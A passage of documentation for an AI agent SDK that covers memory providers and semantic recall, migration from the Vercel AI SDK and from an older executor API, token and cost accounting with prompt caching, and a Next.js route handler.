  held for more than 10 s fails the call with `LOUSHO_STORAGE_FAILED`.
  Windows' transient `EPERM` / `EACCES` / `EBUSY` on read and replace are
  retried. A network filesystem without atomic exclusive create does not get
  this guarantee.
* `sqliteMemory`: each change is one write transaction, so several providers
  and processes on one database keep every item.
* `kvMemory`, `sqliteVectorMemory` and your own providers: changes are
  ordered only within one provider object. Share one provider object between
  the agents of a process; two processes writing the same scope key at once
  can drop an item (last write wins).

### SQLite

Pass the same `SqliteStore` to the agent and to the provider, and sessions,
checkpoints and memory share one database file. An existing file gains the
table when it is opened. Keep the store open while the agent runs. To recall
by meaning instead of by keyword, use `sqliteVectorMemory()`: see
[Semantic recall](#semantic-recall).

```ts theme={null}
import { createAgent, defineMemory } from '@lousho/build-ai-agent';
import { SqliteStore, sqliteMemory } from '@lousho/build-ai-agent/sqlite';

const store = new SqliteStore('./.lousho/agent.db');
const notes = defineMemory({ name: 'notes', scope: 'global', provider: sqliteMemory(store) });
const agent = createAgent({ model: 'openai/gpt-4o-mini', store, memory: [notes] });
```

For a hosted store or your own ranking, implement `MemoryProvider`:

```ts theme={null}
import type { MemoryItem, MemoryProvider } from '@lousho/build-ai-agent';

const items = new Map<string, MemoryItem[]>();
const myProvider: MemoryProvider = {
  async list(scopeKey, { limit, query } = {}) {
    // Newest first; use `query` to rank (e.g. by embedding similarity).
    return (items.get(scopeKey) ?? []).slice(0, limit);
  },
  async add(scopeKey, { text, metadata }) {
    const item: MemoryItem = { id: crypto.randomUUID(), text, createdAt: new Date().toISOString(), metadata };
    items.set(scopeKey, [item, ...(items.get(scopeKey) ?? [])]);
    return item;
  },
  async remove(scopeKey, id) {
    items.set(scopeKey, (items.get(scopeKey) ?? []).filter((item) => item.id !== id));
  },
};
```

`upsert(scopeKey, { id?, text, metadata? })` is optional. Add it to replace
an item in place (same id, new `createdAt`, newest first) for `itemKey` slots;
without it a slot replaces by `remove()` then `add()`.

## Testing memory

With [`mockModel`](/testing), assert on the system prompt of the first
request and drive the tools with scripted tool calls:

```ts theme={null}
import { createAgent, defineMemory, inMemoryMemory, memoryKey } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';

const store = inMemoryMemory();
const notes = defineMemory({ name: 'notes', scope: 'global', provider: store });
await store.add(memoryKey(notes)!, { text: 'The user likes tea.' });

const model = mockModel([{ toolCalls: [{ name: 'remember_notes', args: { text: 'Lives in Oslo.' } }] }, 'Noted.']);
await createAgent({ provider: model, memory: [notes] }).send('I moved to Oslo.');

console.log(model.calls[0].messages[0].content); // ends with <memory name="notes">\n- The user likes tea.\n</memory>
console.log((await store.list(memoryKey(notes)!)).map((item) => item.text)); // ['Lives in Oslo.', 'The user likes tea.']
```

## Limitations

* An agent's memory is its own: the lead's slots are not shared with its
  [sub-agents](/sub-agents), and a sub-agent's slots are not shared with
  the lead. A sub-agent with `memory` gets its own recall and memory tools
  when the lead's `task` tool runs it, as on its own runs, with its scope
  keys taken from the lead run (its `sessionId`, `metadata` and `principal`),
  so a `'session'` slot of the sub-agent follows the lead's session. A [handoff](/handoffs#what-switches-and-what-stays) target
  keeps the lead's memory (the recalled blocks and the tools, under the same
  scope keys); a target's own `memory` slots are not used. When `agent.approvals.resolve()` continues a run after an
  approval pause, the recalled block stays in the prompt but the memory tools
  are not offered for the rest of that run.
* An agent directory's `memory/` folder is part of the agent: see
  [Agent directories](/agent-directories#memory).

## Semantic recall

The keyword providers above find an item only when it shares a word with the
query. A vector provider finds it by meaning: it turns every item and every
query into a vector with an embedding model and ranks the items by cosine
similarity, so "what does the user like to eat?" finds "Sam is vegetarian".

An **embedder** (`EmbeddingProvider`) turns texts into vectors.
`aiSdkEmbedder(model)` wraps any AI SDK embedding model, through `embedMany`
from the installed `ai` package (4, 6 or 7; build the model with the provider
package that pairs with your `ai` major, as for language models). It adds no
dependency: `ai` is already a peer, and the provider package is yours.

```ts theme={null}
import { createAgent, defineMemory, aiSdkEmbedder, inMemoryVectorMemory } from '@lousho/build-ai-agent';
import { createOpenAI } from '@ai-sdk/openai';

const openai = createOpenAI({ apiKey: process.env.OPENAI_API_KEY });

const facts = defineMemory({
  name: 'facts',
  scope: 'global',
  provider: inMemoryVectorMemory({
    embedder: aiSdkEmbedder(openai.embedding('text-embedding-3-small')),
    minScore: 0.3,
  }),
  recall: { query: 'last-input' },
});
const agent = createAgent({ model: 'openai/gpt-4o-mini', memory: [facts] });
```

Two providers rank by meaning, with the same options:

* `inMemoryVectorMemory({ embedder, maxItems?, minScore? })` keeps items in this
  process.
* `sqliteVectorMemory(store, { embedder, maxItems?, minScore? })` (from
  `@lousho/build-ai-agent/sqlite`) keeps them in the agent's SQLite file, in a
  `memory_vectors` table that an existing file gains when it is opened. Vectors
  survive restarts.

With a query, `list()` embeds it, scores the items of that scope key, drops
those under `minScore` (cosine similarity, default `0.2`), sorts by score
(newer first on a tie) and returns `limit` of them. Each returned item has its
score in `metadata.score`. Without a query, or a blank one, it lists the newest
items first, like every provider. The `recall_<name>` tool then reads "Search
the "\<name>" memory by meaning, most relevant first."

To recall by meaning at the start of a run, set `recall: { query: 'last-input' }`
on the slot: the run's last user message is the query, so the `<memory>` block
holds the items closest to it instead of the newest ones. Without it, the block
holds the newest `maxItems` items and only the `recall_<name>` tool ranks.

Items are only ever compared within their own scope key, and only when the same
embedder (its `id`) made them. The id is stored with each vector: after you
change the model or the id, old items are skipped when ranking (they still show
in listings without a query) until you call `await provider.reindex()`, which
re-embeds them in batches and returns how many it changed.
`reindex(providerKey)` does one key only — for a slot's key, pass
`memoryKey(slot, ctx)`.

`hashEmbedder()` from `@lousho/build-ai-agent/testing` is a deterministic
offline embedder for tests: a hashed bag of word stems, so texts that share
words are close. It is not a semantic model and does not know that "vegetarian"
and "eat" are related.

```ts theme={null}
import { inMemoryVectorMemory } from '@lousho/build-ai-agent';
import { hashEmbedder } from '@lousho/build-ai-agent/testing';

const memory = inMemoryVectorMemory({ embedder: hashEmbedder() });
await memory.add('global', { text: 'Sam is vegetarian' });
await memory.add('global', { text: 'The office is in Oslo' });

const [best] = await memory.list('global', { query: 'vegetarian food' });
console.log(best.text, best.metadata?.score); // Sam is vegetarian, a score of about 0.5
```

Costs and limits:

* Every `add` makes one embedding call and every query makes one, so memory
  writes and recall cost model calls and add latency. A failed embedding call
  stores nothing; the `remember_<name>` tool reports the error to the model.
* Scoring is brute force in JavaScript over one scope key's items, with no vector
  index. Keep `maxItems` (default 5000 per scope key; adding one more drops the
  oldest) in mind: thousands of items per key are fine, hundreds of thousands are not.
* `fileMemory()`, `sqliteMemory()` and the Cloudflare KV store have no vector
  support. Write your own `MemoryProvider` for a vector database.


# Migrating from the Vercel AI SDK
Source: https://lousho.com/migrating-from-ai-sdk



This page is for code built on the Vercel AI SDK's agent loop: `generateText({ tools })`
or `streamText({ tools })` with a step limit, or `new ToolLoopAgent({ ... })`. You can keep
your models, your tools and your `useChat` front end. Three adapters bring them over
without a rewrite:

| You have | Use | Covered in |
| - | - | - |
| An AI SDK model (`openai('gpt-4o')`, `google(...)`, `bedrock(...)`, the Gateway) | `fromAiSdk(model)` | [Models](#models-fromaisdk) |
| AI SDK tools (`tool({ ... })` or plain `{ description, inputSchema, execute }` objects) | `fromAiSdkTools(tools)` | [Tools](#tools-fromaisdktools) |
| A `useChat` front end | `toUIMessageStreamResponse()` and `fromUIMessages()` | [useChat](#usechat) |

What you get in return is what `createAgent()` adds on top of a model loop: durable
approvals that survive a restart, sessions in memory, files or SQLite, crash resume,
budgets, permission rules, sub-agents and handoffs, MCP servers, tracing and evals.

## Mapping

| AI SDK | Lousho |
| - | - |
| `new ToolLoopAgent({ model, instructions, tools })` | `createAgent({ provider: fromAiSdk(model), instructions, tools: fromAiSdkTools(tools) })` |
| `generateText({ model, system, prompt, tools, stopWhen })` | `await agent.send(prompt)`; `system` is `instructions` |
| `streamText({ ... })` / `agent.stream()` | `agent.stream(prompt)`: `for await` over typed events, or `await run.result` |
| `result.text` | `result.text` |
| `result.steps`, `onStepFinish` | `step.start` / `step.done` / `tool.done` events (`onEvent`, or iterate `agent.stream()`) ([Stream events](/stream-events)) |
| `result.usage` / `totalUsage` | `result.usage` (tokens of every call, plus `costUsd` for priced models) ([Models and cost](/models-and-cost)) |
| `stopWhen: stepCountIs(n)` / v4 `maxSteps: n` | `maxSteps: n`; token, cost and time budgets with `limits` ([Configuration](/configuration#budgets)) |
| `temperature`, `maxOutputTokens`, `toolChoice`, ... | `modelSettings: { temperature, maxTokens, toolChoice, ... }` |
| `output: Output.object({ schema })` / `experimental_output` | `output: schema`, read as `result.object` ([Structured output](/structured-output)) |
| `messages: [...]` (you keep the history) | `agent.session({ id })` keeps it for you, or pass the messages to `send()` ([Sessions](/sessions)) |
| `abortSignal` | `send(input, { signal })` |
| `tool({ needsApproval })` and `addToolApprovalResponse` | `needsApproval` (kept by `fromAiSdkTools()`); the run pauses with `finishReason: 'awaiting-approval'` and continues with `agent.approvals.resolve()`, also after a restart ([Approvals](/approvals)) |
| Provider tools (`openai.tools.webSearch()`) | `webSearch()`, `codeInterpreter()`, `fileSearch()`, `hostedTool()` ([Hosted tools](/hosted-tools)) |
| `experimental_createMCPClient()` | `createAgent({ mcpServers })` ([MCP](/mcp-integration)) |

## Models: fromAiSdk()

`fromAiSdk(model)` wraps any AI SDK `LanguageModel` as the agent's provider, so a model
you already configured (keys, base URL, provider options) works as it is:

```ts theme={null}
import { createOpenAI } from '@ai-sdk/openai';
import { createAgent, fromAiSdk } from '@lousho/build-ai-agent';

const openai = createOpenAI({ apiKey: process.env.OPENAI_API_KEY });
const agent = createAgent({ provider: fromAiSdk(openai.chat('gpt-4o-mini')), instructions: 'You are helpful.' });
```

For the built-in vendors a model string is shorter: `createAgent({ model: 'openai/gpt-4o-mini' })`.
See [Providers](/providers#any-ai-sdk-model-fromaisdk) for the options and which
`ai` majors are supported.

## Tools: fromAiSdkTools()

`fromAiSdkTools()` takes the same record you pass to `generateText({ tools })` or
`ToolLoopAgent`, and returns Lousho tools; each key becomes the tool's name:

```ts theme={null}
import { tool } from 'ai';
import { z } from 'zod';
import { createAgent, fromAiSdk, fromAiSdkTools } from '@lousho/build-ai-agent';

const weather = tool({
  description: 'Get the weather in a city',
  inputSchema: z.object({ city: z.string() }),
  execute: async ({ city }, { abortSignal }) => fetchWeather(city, abortSignal),
});
const sendEmail = tool({
  description: 'Send an email',
  inputSchema: z.object({ to: z.string(), body: z.string() }),
  needsApproval: async ({ to }) => !to.endsWith('@example.com'),
  execute: async ({ to, body }) => mailer.send(to, body),
});

const agent = createAgent({
  provider: fromAiSdk(model),
  instructions: 'You are a helpful assistant.',
  tools: fromAiSdkTools({ weather, sendEmail }),
});
```

The conversion does not import `ai`, so a tool works whatever `ai` version built it,
and a plain object works too. This one runs offline:

```ts theme={null}
import { z } from 'zod';
import { createAgent, fromAiSdkTools } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';

const tools = fromAiSdkTools({
  weather: {
    description: 'Get the weather in a city',
    inputSchema: z.object({ city: z.string() }),
    execute: async ({ city }: { city: string }) => `Sunny in ${city}`,
  },
});
const agent = createAgent({
  provider: mockModel([{ toolCalls: [{ name: 'weather', args: { city: 'Paris' } }] }, 'It is sunny in Paris.']),
  tools,
});
const result = await agent.send('Weather in Paris?');
console.log(result.text); // It is sunny in Paris.
```

How each part of an AI SDK tool is carried over:

| AI SDK tool | Lousho tool |
| - | - |
| `inputSchema` (`ai` 5+) or `parameters` (`ai` 4), a zod 3 / zod 4 schema or a Standard Schema | used as it is |
| `inputSchema: jsonSchema({...})`, or a plain JSON Schema | converted to zod (the converter MCP tools use); the wrapper's own `validate` still runs before `execute` |
| `execute(input, { toolCallId, messages, abortSignal })` | called with Lousho's call id, the run's abort signal, and the transcript as Lousho `Message`s (not AI SDK `ModelMessage`s) |
| An `execute` that throws | a tool error the model sees; the run continues |
| An `execute` that returns an async iterable (preliminary results) | each value is a `tool.partial` event; the last is the result |
| `needsApproval: true` or a function of the input | `needsApproval`: the run pauses durably until `agent.approvals.resolve()` |
| A `description` function (`ai` 7) | called once with an empty context |
| No `execute` (a client-side tool) | rejected with `LOUSHO_CONFIG_INVALID`: give it an `execute`, or use `needsApproval` / the [`ask_question` tool](/approvals#asking-the-user-a-question) |
| A provider-defined tool | rejected: use [hosted tools](/hosted-tools) |

`experimental_context`, `onInputStart` / `onInputDelta` / `onInputAvailable` and
`toModelOutput` are not carried over. For a new tool, prefer `defineTool()`
([Tools](/tools)): it also takes `timeoutMs`, `annotations`, `editsFiles` and
`deferLoading`.

## useChat

A `useChat` front end keeps working: the route returns the agent's run as a UI message
stream.

```ts theme={null}
import { createAgent, fromUIMessages, memoryStore, toUIMessageStreamResponse, type UIMessageLike } from '@lousho/build-ai-agent';

const agent = createAgent({ model: 'openai/gpt-4o-mini', instructions: 'You are helpful.', store: memoryStore() });

// app/api/chat/route.ts
export async function POST(request: Request): Promise<Response> {
  const { id, messages } = (await request.json()) as { id: string; messages: UIMessageLike[] };
  return toUIMessageStreamResponse(agent.session({ id }).stream(fromUIMessages(messages, { lastUserOnly: true })));
}
```

Approvals, tool parts and the client side are in [AI SDK UI](/ai-sdk-ui); a ready
App Router route is `createRouteHandler(agent)` ([Next.js](/nextjs)).

## See also

* [Comparison](/comparison): where Lousho and the AI SDK differ, including where Lousho is weaker.
* [Migrating to createAgent()](/migrating-to-create-agent) is about Lousho's own older `AgentBuilder` / `AgentExecutor` API, not the AI SDK.


# Migrating to createAgent()
Source: https://lousho.com/migrating-to-create-agent



This page is for code that uses `AgentBuilder`, `AgentExecutor`, `ToolRegistry` and
`resumeAfterApproval()`: the lower-level API the SDK started with. Those exports now
live at `@lousho/build-ai-agent/executor` and are not going away; if you stay on
them, see [The executor API](/executor-api). The reason to move is that one
`createAgent()` call wires tools, stores, approvals, sessions, retries and
compaction, where the executor makes you assemble each of them and pass them to every
call.

`createAgent()` does not take every option the executor takes yet; see
[What createAgent() does not take yet](#what-createagent-does-not-take-yet) before you
start.

## Before and after

One agent with a tool that needs approval, first with the executor API, then with
`createAgent()`. Both use a scripted model, so they run offline and end with the same
text, `Sent the report to Sam.`, after the same pause.

```ts theme={null}
import {
  AgentBuilder,
  AgentExecutor,
  ToolRegistry,
  resumeAfterApproval,
} from '@lousho/build-ai-agent/executor';
import { InMemoryApprovalStore, defineTool } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';
import { z } from 'zod';

const sendEmail = defineTool({
  name: 'send_email',
  description: 'Send an email',
  input: z.object({ to: z.string() }),
  needsApproval: true,
  execute: async ({ to }) => `sent to ${to}`,
});

const provider = mockModel([
  { toolCalls: [{ name: 'send_email', args: { to: 'sam@example.com' } }] },
  'Sent the report to Sam.',
]);

// Before: the agent, the tool registry, the approval store and the provider are
// separate objects, and the resume call needs all of them again.
const agent = AgentBuilder.create().setName('Mailer').setPrompt('You send emails.').addTool(sendEmail).build();
const toolRegistry = new ToolRegistry();
toolRegistry.register(sendEmail);
const approvalStore = new InMemoryApprovalStore();

const paused = await AgentExecutor.execute({
  agent,
  input: 'Email the report to Sam',
  provider,
  toolRegistry,
  approvalStore,
});
console.log(paused.finishReason); // 'awaiting-approval'

const result = await resumeAfterApproval(
  { id: paused.approvalId!, approved: true },
  approvalStore,
  toolRegistry,
  provider,
);
console.log(result.text); // 'Sent the report to Sam.'
```

```ts theme={null}
import { createAgent, defineTool } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';
import { z } from 'zod';

const sendEmail = defineTool({
  name: 'send_email',
  description: 'Send an email',
  input: z.object({ to: z.string() }),
  needsApproval: true,
  execute: async ({ to }) => `sent to ${to}`,
});

// After: the same scripted model gives the same result as the snippet above.
const mailer = createAgent({
  provider: mockModel([
    { toolCalls: [{ name: 'send_email', args: { to: 'sam@example.com' } }] },
    'Sent the report to Sam.',
  ]),
  instructions: 'You send emails.',
  tools: [sendEmail],
});

const paused = await mailer.send('Email the report to Sam');
console.log(paused.finishReason); // 'awaiting-approval'

const result = await mailer.approvals.resolve({ id: paused.approvalId!, approved: true });
console.log(result.text); // 'Sent the report to Sam.'
```

The tool is the same `defineTool()` result in both. The agent keeps its own registry,
approval store and provider, so deciding the pause needs only the approval id.

## Mapping

| Legacy | `createAgent()` |
| - | - |
| `AgentBuilder.create().setName(n).setPrompt(p).build()` | `createAgent({ name, instructions })` (use `instructions`, not the deprecated `prompt` alias). |
| `addTool(key, config)` on the builder, plus `ToolRegistry.register(tool)` | `tools: [defineTool(...)]`. There is no registry to build; see [Tools](/tools). |
| `AgentExecutor.execute({ agent, input, provider })` | `agent.send(message)`. The model is `model` (a `provider/model` string) or `provider`. |
| `AgentExecutor.stream(...)` | `agent.stream(message)`; see [Streaming](/streaming). |
| `onAgentEvent` | `onEvent` on `createAgent()`; `stream()` gives the same events. |
| `onEvent` with `ExecutionEvent` (deprecated) | `AgentEvent` listeners; see [Migrating from `onEvent` / `ExecutionEvent`](/streaming#migrating-from-onevent-/-executionevent). |
| `sessionId` + `checkpointStore` | `store` on `createAgent()` and `agent.send(message, { sessionId })`; finish an interrupted run with `agent.resume(sessionId)`. See [Durable execution](/durable-execution). |
| `approvalStore` | `approvalStore`, or `store` with `approvals`. Without either, a per-agent `InMemoryApprovalStore`. |
| `resumeAfterApproval(decision, store, registry, provider)` | `agent.approvals.resolve({ id, approved, note? })`; `agent.approvals.answer()` for a question. See [Approvals](/approvals). |
| `streamResumeAfterApproval(...)` | `agent.approvals.streamResolve(...)` and `streamAnswer(...)`. |
| `AgentExecutor.fork(...)` | `agent.fork(sessionId, { fromStep, patch })`. |
| `hooks: HookRegistry` | `hooks: AgentHook[]`. |
| `signal` | `agent.send(message, { signal })`. |
| `maxSteps`, `limits`, `guardrails`, `toolConcurrency`, `onAgentDrift`, `reasoning`, `output` | The same names on `createAgent()`; `reasoning` can also be set per `send()`. |
| `exporter`, `captureContent`, `redactContent` | The same names on `createAgent()`. |
| `skills`, `subagents` | The same names on `createAgent()`, which also takes `mcpServers` and `memory`. |
| `inputQueue` | `run.enqueue()` on a streamed run, or `agent.session({ turnPolicy })`; see [Queued input](/queue-and-steer#queued-input). |
| `sessionBudget` | `agent.session({ id, limits })`; see [Sessions](/sessions). |

## What createAgent() does not take yet

These `ExecuteOptions` have no `createAgent()` option. Where there is a supported
alternative it is named; otherwise keep that call on `AgentExecutor.execute()`.

| Executor option | Alternative |
| - | - |
| `temperature`, `maxTokens` | None: stay on the executor. (`limits.maxTokens` is a budget for the run, not a generation setting.) |
| `sandbox` | None: stay on the executor. |
| `onLLMRequest`, `onLLMResponse` | A `preGenerate` / `postGenerate` hook in `hooks`, or an `onEvent` listener. |
| `onToolCall`, `onToolResult` | A `preToolCall` / `postToolCall` hook in `hooks`, or an `onEvent` listener. |
| `onRunEnd` | An `onEvent` listener for `run.done`, or the result of `send()`. |
| `businessState` | None: stay on the executor. |

A run uses one API or the other: an agent that needs one of the "None" rows keeps that
call on the executor, and can use `createAgent()` for the rest of the code.

## Behavior differences

* `send()` is one turn. A conversation is a separate object, `agent.session()`, which
  keeps the transcript and sends it with each turn; see [Sessions](/sessions). Code
  that built a message history by hand moves to a session.
* A paused run resolves. A `send()` that reaches a `needsApproval` tool resolves with
  `finishReason: 'awaiting-approval'` and an `approvalId`; it does not throw. The pause
  stays with the agent, so `agent.approvals.list()` shows it and `resolve()` continues
  it without the registry or provider.
* The default approval store is per agent and in memory. A pause survives a restart only
  with a durable `store` or `approvalStore`; see
  [Choosing a store](/sessions#choosing-a-store).
* Retries are on by default for a `model` string: two retries of a failed model call. A
  `provider` instance you pass is not wrapped unless you set `retry`. See
  [Provider retries and fallback](/configuration#provider-retries-and-fallback).

## Migrating step by step

1. Tools first. Keep the `defineTool()` tools; drop the `ToolRegistry` and any
   `addTool(key, config)` call, and list the tools in `tools`.
2. Replace `AgentBuilder` with `createAgent({ name, instructions, tools })`, and pass
   `model` or the `provider` you already pass to `execute()`.
3. Replace each `AgentExecutor.execute()` with `agent.send()` and each `stream()` with
   `agent.stream()`. Move `maxSteps`, `limits` and the other shared options to
   `createAgent()`. Keep a call on the executor if it needs an option from the "does
   not take yet" list.
4. Replace `resumeAfterApproval()` with `agent.approvals.resolve()`. If approvals must
   outlive the process, pass the store you used as `approvalStore`.
5. Move `checkpointStore` and its `sessionId` to `store`, and pass `sessionId` to
   `send()`. Use `agent.session()` where you kept a history yourself.
6. Replace `onEvent` with `ExecutionEvent` by an `AgentEvent` listener, then move
   `HookRegistry` hooks into `hooks`.


# Models, tokens and cost
Source: https://lousho.com/models-and-cost



## Models and the price table

Dependency-free helpers for budgeting and context decisions.

```ts theme={null}
import { estimateTokens, estimateCost, getModelInfo, registerModel } from '@lousho/build-ai-agent';

// A custom or self-hosted model: add it (or override a built-in) before use.
registerModel({
  id: 'my-llama',
  provider: 'ollama',
  contextWindow: 32768,
  inputCostPerMTok: 0.2, // optional; omit for unknown or free
  outputCostPerMTok: 0.6,
  cachedInputCostPerMTok: 0.02, // optional: prompt-cache reads; omit to bill them as input
  cacheWriteCostPerMTok: 0.25, // optional: prompt-cache writes; omit to bill them as input
});

const used = estimateTokens([{ role: 'user', content: 'Summarise this report' }], { model: 'my-llama' });
const info = getModelInfo('openai/gpt-4o-mini'); // exact id, `provider/id`, or a dated snapshot
const usd = estimateCost({ inputTokens: used, outputTokens: 500 }, 'my-llama'); // undefined if unpriced
```

* `estimateTokens(input, { model?, estimator? })` is a heuristic (about 4 characters per token for English, more for CJK and other scripts, plus per-message overhead and tool-call JSON). Expect roughly 15-20% error on English: fine for compaction and budgets, not for billing. Plug in a real tokenizer with `setTokenEstimator(fn)` or `options.estimator`.
* `getModelInfo(id)` matches the exact id, then `provider/id`, then dated snapshots (`gpt-4o-mini-2024-07-18` resolves to `gpt-4o-mini`). Unknown models return `undefined`. (In `createAgent({ model })` and `resolveProvider()` strings the `vendor/` model prefix chooses the provider; with OpenRouter use `openrouter/<vendor>/<model>`, e.g. `openrouter/openai/gpt-4o-mini`.)
* `registerModel(info)` adds or overrides an entry; the latest registration wins. Register local models (LM Studio, Ollama, vLLM) with the context window they were loaded with: [compaction](/compaction#local-and-unknown-models) and [tool search](/tool-search) otherwise assume 128,000 tokens and log a one-time warning. Local models have no built-in price (the Ollama entries carry only a context window), so their `costUsd` is `undefined` and `limits.maxCostUsd` only warns; register a price, `0` included, to have it counted and the limit enforced: `registerModel({ id: 'llama3', provider: 'ollama', contextWindow: 8192, inputCostPerMTok: 0, outputCostPerMTok: 0 })`.
* `estimateCost(usage, model)` returns USD, or `undefined` (not `0`) when the model or its prices are unknown. `usage.cachedInputTokens` and `usage.cacheWriteTokens`, when given, are the parts of `inputTokens` read from and written to the provider's prompt cache. They are priced at `cachedInputCostPerMTok` and `cacheWriteCostPerMTok`, or at the input price when the model has none. The built-in OpenAI entries carry OpenAI's cached-input price (for example 50% on `gpt-4o-mini`; writes cost nothing extra). The Anthropic entries bill reads at 10% and 5-minute writes at 125% of the input price.

The built-in context windows and prices are a dated snapshot (see the retrieval date and sources at the top of `src/models/modelData.ts`). Providers change prices and models, so override entries with `registerModel` when you need billing-grade numbers.

## Usage and cost of a run

Every `ExecutionResult` (and `agent.send()` result) carries `usage`, the running total of the whole run:

```ts theme={null}
import { createAgent, formatUsage } from '@lousho/build-ai-agent';

const result = await createAgent({ provider, instructions: 'You compare cities.' }).send('Compare 3 cities');

result.usage.inputTokens; // all model calls of the run, delegated children included
result.usage.costUsd; // sum of the calls with a known cost; undefined if none has one
result.usage.costPartial; // true when some call had no known price and is not in costUsd
result.usage.estimated; // true if some call reported no usage and was estimated
result.usage.byModel['gpt-4o-mini']; // { inputTokens, outputTokens, costUsd?, calls }
result.stepUsage?.[0]; // { step, model, usage, estimated, costUsd? } per model call
console.log(formatUsage(result.usage)); // 1,234 in / 567 out tokens · $0.0042 (2 model calls)
```

* **Reported vs estimated.** Providers report `promptTokens`/`completionTokens`; the built-in providers also pass on `cachedInputTokens`/`cacheWriteTokens`/`reasoningTokens` when the provider reports them (`usage.cachedInputTokens`, `usage.cacheWriteTokens` and `usage.reasoningTokens` only appear then). `inputTokens` always counts the cached and cache-written tokens too. A backend that reports nothing gives `undefined` usage, never zeros. For that step the executor falls back to `estimateTokens` and sets `usage.estimated` (a leading `~` in `formatUsage`). A custom provider should leave `GenerateResult.usage` unset rather than fill in zeros.
* **Cost.** `costUsd` is the sum of the per-call costs: the cost the provider reported (OpenRouter returns `usage.cost` for every model, priced or not), else `estimateCost` for the model. A call with no known price (a model missing from the registry whose provider reported no cost) is left out of the sum and sets `usage.costPartial: true`, so the total is a lower bound rather than being discarded; `byModel` shows which models are priced (`byModel[model].costPartial` marks a model with both priced and unpriced calls, and `usage.delegated.costPartial` does the same for children). `costUsd` is `undefined` only when no call has a known cost. `limits.maxCostUsd` is checked against the partial total. In `formatUsage` the cost prints with 4 decimals under $1 (2 at $1 or more), so a run under $0.00005 reads `$0.0000\`.
* **Hosted tools.** `usage.hostedToolCalls` counts the calls the provider ran for [hosted tools](/hosted-tools) per tool name (e.g. `{ web_search: 2 }`). Their per-call fees are billed by the provider and are not in `costUsd`.
* **Delegation.** A delegated child's usage is added to the parent's totals and `byModel`, and is also shown on its own as `usage.delegated` (`{ inputTokens, outputTokens, totalTokens, costUsd, modelCalls, estimated, runs }`, plus `toolErrors`: the children's tool calls that ended in an error result, absent when none did). A [remote sub-agent](/sub-agents#remote-sub-agents)'s usage is what the remote agent reports, filed under `byModel['remote:<name>']` with the remote's own `costUsd`.
* **Resume.** A run resumed from a checkpoint, or after an approval, continues from the saved totals instead of restarting at zero. Checkpoints written by older versions start from their saved token counts with an unknown cost.
* **Events and traces.** The `finish` event (and every lifecycle event that carried `usage`) now carries the running totals; `text-complete` also has `stepUsage`, and `onLLMResponse` receives the call's usage as a third argument. The `chat` span's `gen_ai.usage.*` attributes use the same numbers, with `lousho.usage.estimated` set to `true` when they are estimates.
* **Streaming.** `agent.stream()` events carry the same accounting: `step.done` and `run.done` have `usage` with `inputTokens`, `outputTokens`, `estimated` `costUsd` and `costPartial` when partial (run-level also `modelCalls`), alongside the older `promptTokens`/`completionTokens`.
* `promptTokens` and `completionTokens` on `usage` remain as deprecated aliases of `inputTokens` and `outputTokens`.

Prices come from the model registry above, so to get a cost for a custom or fine-tuned model, register it under the id you pass as the model:

```ts theme={null}
import { registerModel } from '@lousho/build-ai-agent';

registerModel({
  id: 'ft:gpt-4o-mini:acme',
  provider: 'openai',
  contextWindow: 128000,
  inputCostPerMTok: 0.3,
  outputCostPerMTok: 1.2,
});
```

## Prompt caching

Anthropic caches a request prefix only up to a `cache_control` breakpoint that the request marks. OpenAI, and most other providers, cache long prefixes on their own. With `promptCaching: 'auto'` (the default), the built-in `anthropic` provider and the `openrouter` provider mark breakpoints for Claude models (`anthropic/...`, `openrouter/anthropic/...`). They mark three of the four that Anthropic allows:

* the system prompt (the last system message),
* the last tool definition,
* the last user turn. With the `anthropic` provider, a trailing tool-result turn is marked too, so each step of a tool loop reads the conversation so far from the cache.

```ts theme={null}
import { readFileSync } from 'node:fs';
import { createAgent } from '@lousho/build-ai-agent';

const longPolicy = readFileSync('./policy.md', 'utf8'); // a long, stable system prompt
const agent = createAgent({ model: 'openrouter/anthropic/claude-haiku-4.5', instructions: longPolicy }); // promptCaching: 'auto'
const first = await agent.send('Where is order 1042?'); // writes the prefix: usage.cacheWriteTokens
const second = await agent.send('And order 1043?'); // reads it: usage.cachedInputTokens, ~10% of the input price
createAgent({ model: 'anthropic/claude-haiku-4-5', promptCaching: false }); // no breakpoints
```

A cache read costs 10% of the input price. A cache write costs 125% and lasts 5 minutes, so a prompt that is sent only once costs a little more with caching. Anthropic caches only prefixes above a minimum length (1,024 to 4,096 tokens, depending on the model), and shorter prompts are sent uncached. On the `anthropic` provider, tool and system breakpoints need `ai` 6 or 7 (`@ai-sdk/anthropic` 3 or 4). The `@ai-sdk/anthropic` 0.0.x peer pinned for `ai` 4 does not send them. A custom provider gets the setting as `GenerateOptions.promptCaching`.

Measured through OpenRouter on `anthropic/claude-haiku-4.5`, with a 6,834-token prompt (system prompt and one tool):

| Call | Input tokens | Cache read | Cache write | Cost |
| - | - | - | - | - |
| `promptCaching: false` | 6,834 | - | - | \$0.00686 |
| `'auto'`, first call | 6,834 | - | 6,831 | \$0.00857 |
| `'auto'`, second call | 6,834 | 6,831 | - | \$0.00071 |


# Next.js and other Fetch-API frameworks
Source: https://lousho.com/nextjs



`createRouteHandler(agent, options?)` serves an agent from a route file of any
framework whose handlers take a Web `Request` and return a `Response`: the
Next.js App Router, SvelteKit, Remix / React Router, Hono, Bun.serve. It is a
thin wrapper over the same session API as `lousho dev` and the deployed server
([Deployment](/deployment)), so the React, Vue and Svelte bindings work against it
unchanged. It imports no framework and no `node:*` module. The `vendor/` model
prefix chooses the provider; with OpenRouter use `openrouter/<vendor>/<model>`
(e.g. `openrouter/openai/gpt-4o-mini`).

## Next.js App Router

```ts theme={null}
// app/api/agent/[[...path]]/route.ts
import { createAgent, createRouteHandler, memoryStore } from '@lousho/build-ai-agent';

// `store` is what lets a session survive across requests: without one every
// `agent.session({ id })` the handler opens gets a fresh in-memory transcript,
// so a second turn forgets the first and `GET /chat/:id` returns empty.
const agent = createAgent({
  model: 'openai/gpt-4o-mini',
  instructions: 'You are helpful.',
  store: memoryStore(), // lives in the server process; use a durable store on serverless
});

export const { GET, POST } = createRouteHandler(agent, {
  basePath: '/api/agent',
  auth: process.env.AGENT_TOKEN,
  uiMessageStream: true,
});
```

**A route with no `auth` is public**: anyone who can reach it can run your agent
and spend your model budget. Pass a bearer token, or a function that checks your
own session or cookie:

